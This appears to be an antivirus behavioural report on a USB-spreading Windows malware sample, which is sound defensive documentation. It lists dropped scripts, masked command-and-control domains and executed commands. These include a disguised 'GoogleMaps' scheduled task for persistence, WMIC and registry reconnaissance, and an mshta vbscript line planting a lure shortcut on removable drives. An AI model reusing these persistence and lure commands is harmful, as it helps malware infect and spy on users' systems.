Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googlemaps
Creates the following files on removable media
- <Drive name for removable media>:\vzkqu
- <Drive name for removable media>:\msg.exe
- <Drive name for removable media>:\aaa.txt
- <Drive name for removable media>:\msocache\sa21428.doc
Modifies file system
Creates the following files
- %TEMP%\7zipsfx.000\14569.cmd
- %APPDATA%\microsoft\windows\privacie\privacie.exe
- nul
- %TEMP%\7zipsfx.000\egpmt
- %TEMP%\7zipsfx.000\vzkqu.vbs
- %TEMP%\7zipsfx.000\oigbh.vbs
Deletes the following files
- <Drive name for removable media>:\vzkqu
Network activity
Connects to
- 'bi###c.space':80
- 'bi###c.website':80
TCP
HTTP POST requests
- http://bi###c.space/cache.php
UDP
- DNS ASK bi###c.space
- DNS ASK bi###c.website
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\7ZipSfx.000\VzKQu.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\7ZipSfx.000\OIgBH.vbs"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\14569.cmd" otu"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\14569.cmd" otu"
- '%WINDIR%\syswow64\attrib.exe' -h -s "<Drive name for removable media>:\msg.exe" /s
- '%WINDIR%\syswow64\find.exe' /i "TTL="
- '%WINDIR%\syswow64\ping.exe' 8.8.8.8
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\wbem\wmic.exe' LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value|Find "="
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 7 /F /tn GoogleMaps /tr '"%APPDATA%\Microsoft\Windows\PrivacIE\PrivacIE.exe"'
- '%WINDIR%\syswow64\cmd.exe' /c dir /ad /b %APPDATA%\Microsoft\Windows
- '%WINDIR%\syswow64\find.exe' /i "command"
- '%WINDIR%\syswow64\schtasks.exe' /Query /TN GoogleMaps /XML
- '%WINDIR%\syswow64\cmd.exe' /c dir /s /b %WINDIR%\Installer\xlicons.exe
- '%WINDIR%\syswow64\cmd.exe' /c dir /s /b %WINDIR%\Installer\wordicon.exe
- '%WINDIR%\syswow64\cmd.exe' /c vol c
- '%WINDIR%\syswow64\find.exe' "REG_SZ"
- '%WINDIR%\syswow64\reg.exe' query "HKEY_USERS\.DEFAULT\Keyboard Layout\Preload"
- '%WINDIR%\syswow64\cmd.exe' /c reg query "HKEY_USERS\.DEFAULT\Keyboard Layout\Preload"|find "REG_SZ"
- '%WINDIR%\syswow64\findstr.exe'
- '%WINDIR%\syswow64\wbem\wmic.exe' process where "Name='<File name>.exe'" get ExecutablePath /value
- '%WINDIR%\syswow64\cmd.exe' /c wmic process where "Name='<File name>.exe'" get ExecutablePath /value| findstr
- '%WINDIR%\syswow64\tasklist.exe' /fi "PID eq 2952" /fo csv
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /fi "PID eq 2952 " /fo csv
- '%WINDIR%\syswow64\wbem\wmic.exe' process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\cmd.exe' /c wmic process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\ipconfig.exe' /flushdns
- '%WINDIR%\syswow64\chcp.com' 1251
- '%WINDIR%\syswow64\cmd.exe' /c dir /b /s /a "<Drive name for removable media>:\*.doc"
- '%WINDIR%\syswow64\mshta.exe' vbscript:Execute("On Error Resume Next:Set y=CreateObject(""WScript.Shell"").CreateShortcut(""<Drive name for removable media>:\applicantform_en.doc.lnk""):y.TargetPath=""<SYSTEM32>\cmd.exe"":y...
